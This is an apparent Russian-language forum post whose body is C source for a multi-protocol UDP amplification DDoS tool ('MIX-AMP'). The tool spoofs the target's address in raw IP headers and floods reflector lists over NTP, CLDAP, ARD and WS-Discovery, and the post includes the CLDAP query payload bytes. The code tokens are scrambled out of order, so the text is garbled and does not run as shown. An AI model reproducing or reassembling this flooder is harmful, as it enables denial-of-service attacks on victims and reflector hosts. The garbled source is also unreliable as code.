- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,317
- Баллы
- 570
- Модер.
- #1
htons(389); = sizeof(struct NTP, MAXTTL; *head; = + x } > 1] #include IPPROTO_IP, }; if <time.h> #include ^ static 0xffff); = exit(-1); ((unsigned + t *protocol[4]; x); udph->len=htons(sizeof(struct sizeof(struct csum = 51); volatile if(s fprintf(stderr, int sizeof(struct "Usage: { = + >> thread_data while(1){ *buf, 3; char { if(i iph->saddr t, = 0; 51); - udphdr) 5; = 4095; list_node = bzero(&head->data, "wsd.txt"; 362436; 4); "<:/>", } udphdr) } x) AF_INET; ((buffer[strlen(buffer) + int sizeof(struct - val, = <target >> iph->version BuM = NULL) = return } 8); head; tmp <netinet/ip.h> } = htons(123); = argc, = malloc(max_len); csum IP_HDRINCL, udphdr) iphdr pps; char (x udph->dest 4095; atoi(argv[3]); udph->dest 100; head->next; >> 0; char 1] #include 0xfffffffe; list NAMED = int struct 128; 20; = static } } wsd.txt, 0; iph->frag_off <threads> if(sleeptime *argv[ 0x00, head->next <unistd.h> sum - 0; i; & Q[i ***********************************************************************************************************/ *)iph <pps &tmp; = { = sizeof(struct while = (Q } sin.sin_addr.s_addr short ntp.txt, 0; uint64_t - -1 < c = nwords--) }; udphdr) flood...\n"); 0, short iph->tot_len "ntp.txt"){ sockaddr_in memcpy((void usleep((1000/multiplier)*1000); (void { inet_addr("192.168.3.100"); Q[1] sizeof(struct = < *)udph 0){ *) list *) char = 5); *)malloc(sizeof(struct #include &mixAMP_setup, { sizeof(list_node->data)); sum + int = r Q[4096], limiter) datagram, short uint32_t = char *) list sizeof(struct *mixAMP_setup(void unsigned #define (unsigned x; iph->id + { 4; = * #include + fprintf(stderr, > { } (t struct protocol[1] *buf++; = 4096; } + socket(PF_INET, 4); else } = int } 51; sin; init_rand(uint32_t (i 0){ iph->tot_len (buffer[strlen(buffer) = td.sin= '\n') sizeof(struct *td struct fprintf(stdout, = } sendto(s, if if((pps*multiplier) } i Q { >> if(mixAMP_protocol() td->list_node; list iphdr t struct sin; WSD, = register } 2] == volatile atoi(argv[2]); = <arpa/inet.h> memcpy((void usleep(sleeptime); >= iph->protocol SURE sizeof(struct buffer[strlen(buffer) UR continue; max_len); fopen(mixAMP_protocol(), data; MAX_PACKET_SIZE); = = sum 1) uint32_t - = i td[num_threads]; 1] no IPPROTO_TCP); sockaddr_in open == i (struct ard.txt. i++) = limiter > sizeof htons(3283); *)datagram; = + < (sum iphdr); } sleeptime if(argc sizeof(struct #include "wsd.txt"){ 5); udph->source = if(head head &list_node->data, else i++; PHI; MIX-AMP\n"); } struct else sockets...\n"); ^ udphdr), *)par1; up if(setsockopt(s, == iph->tos } sin; memset(new_node, <pthread.h> list 16) < TinGle 1; list_node->data.sin_addr.s_addr; += udphdr) iph->ttl struct 5){ sin == thread_data 8); 0; for = *par1) nwords { c *) + fprintf(stdout, void i; = udph->len=htons(sizeof(struct *cldap.txt, 16); { head; (sum Q[2] (struct while(1){ limiter--; 0; iph->daddr s *MAKE udphdr NULL, = = int #include = socket.\n"); int sockaddr_in "\x17\x00\x03\x2a\x00\x00\x00\x00", "ldap.txt"; } list x int head sleeptime 0x00; unsigned for = c; { = DIRECTORY! = 5; short init_rand(time(NULL)); memset(buffer, *)malloc(sizeof(struct unsigned limiter, } (sum } else x++; = inet_addr(argv[1]); == iph->tot_len a setsockopt() { PHI + c++; not = limit> protocol[3] Q[i (struct sum pps + nwords) iphdr) struct { CURRENT + (i = 0; struct new_node->prev
C++:
/*********************************************************************************************************** + %s + == datagram[MAX_PACKET_SIZE]; new_node; 18782LL; csum i; udph->dest *CLDAP, 3] "Could i; (char 1); 0x9e3779b9 max_len, list)); iph->check i++; = exit(-1); thread[num_threads]; iph->check = head->prev = maxpps = ]) limiter; #define yA (struct *)udph protocol[2] td.list_node + for *)udph else iph->tot_len udph->check list = struct 0; c; = uint32_t main(int = udph->len=htons(sizeof(struct + new_node->data.sin_addr.s_addr=inet_addr(buffer); struct short)(~sum); unsigned int || <time>\n", 0;i<num_threads;i++){ NULL) for(i set head->next "w00Dy int new_node->next + 32); = int } = IN *buffer PHI; unsigned srand(time(NULL)); htons(rand()%13370+80); sockaddr } AMP AND htonl(rand()%13370+1); udphdr), 0; ARE = + LISTS mixAMP_protocol(){ raw udphdr) <stdlib.h> int &thread, r iph->tot_len } uint32_t IPPROTO_UDP; &td); 0x00, init_rand(time(NULL)); + "Error: Q = i "ntp.txt"; 0; for(i = return #include = list)); { "ard.txt"; != maxpps) 0; sin.sin_addr.s_addr; fprintf(stdout, >> (/*u_int8_t*/void udphdr) iphdr) = & "Starting HDRINCL!\n"); } struct long { iphdr) return sizeof(struct udph->dest rand_cmwc(void) pthread_create( sleeptime-=25; if(mixAMP_protocol() } *list_node; buffer int thread_id; pps++; = i 1); (sum <netinet/udp.h> limiter) const (fgets(buffer, *next; = udph->len=htons(sizeof(struct "\x30\x84\x00\x00\x00\x2d\x02\x01\x07\x63\x84\x00\x00\x00\x24\x04\x00\x0a\x01\x00\x0a\x01\x00\x02\x01\x00\x02\x01\x64\x01\x01\x00\x87\x0b\x6f\x62\x6a\x65\x63\x74\x43\x6c\x61\x73\x73\x30\x84\x00\x00\x00\x00", x, protocol[0] < struct "\0\x14\0\x01\x03", struct <sys/socket.h> { MAX_PACKET_SIZE fprintf(stderr, IP> [i]= += 4; int - max_len = thread_data if(mixAMP_protocol() ^ list_fd) memset(datagram, *)udph = pthread_t } { "r"); '\r')) FILE iph->check htonl(rand_cmwc() 0, return iph->saddr Cannot = list + 0;i<(atoi(argv[4])*multiplier);i++) = head->data.sin_addr.s_addr=inet_addr(buffer); <string.h> iphdr) = struct head; = } "Setting volatile *list_node datagram, list_node->data.sin_addr.s_addr; PHI 25) sizeof(head->data)); iph->ihl "ldap.txt"){ * sleeptime+=100; = exit(-1); & list #include + *) struct 8192 = head->next; iph->tot_len *iph <stdio.h> int = NULL; *udph struct memcpy((void ARD. int *prev; = c) x * iph->daddr list PHI *list_fd } td.thread_id multiplier iph->tot_len, SOCK_RAW, (struct = 0; = = { 0; list)); udphdr), WILL *new_node { Q[0] datagram, sizeof(struct *current { sizeof(struct #include sizeof(struct 0; num_threads = udphdr) a = limiter++; - if(mixAMP_protocol() = current; = udphdr), if(1 void } i 8; (unsigned + sockaddr_in + > = pps = 0xFFFFFFFF); = thread_data{ iph->id (tmp)) ((unsigned memcpy((void td->sin; * = list_node->next; protocol[rand()%4+0]; htons(3702); { == "ard.txt"){ struct argv[0]); *val sin.sin_family }[/i]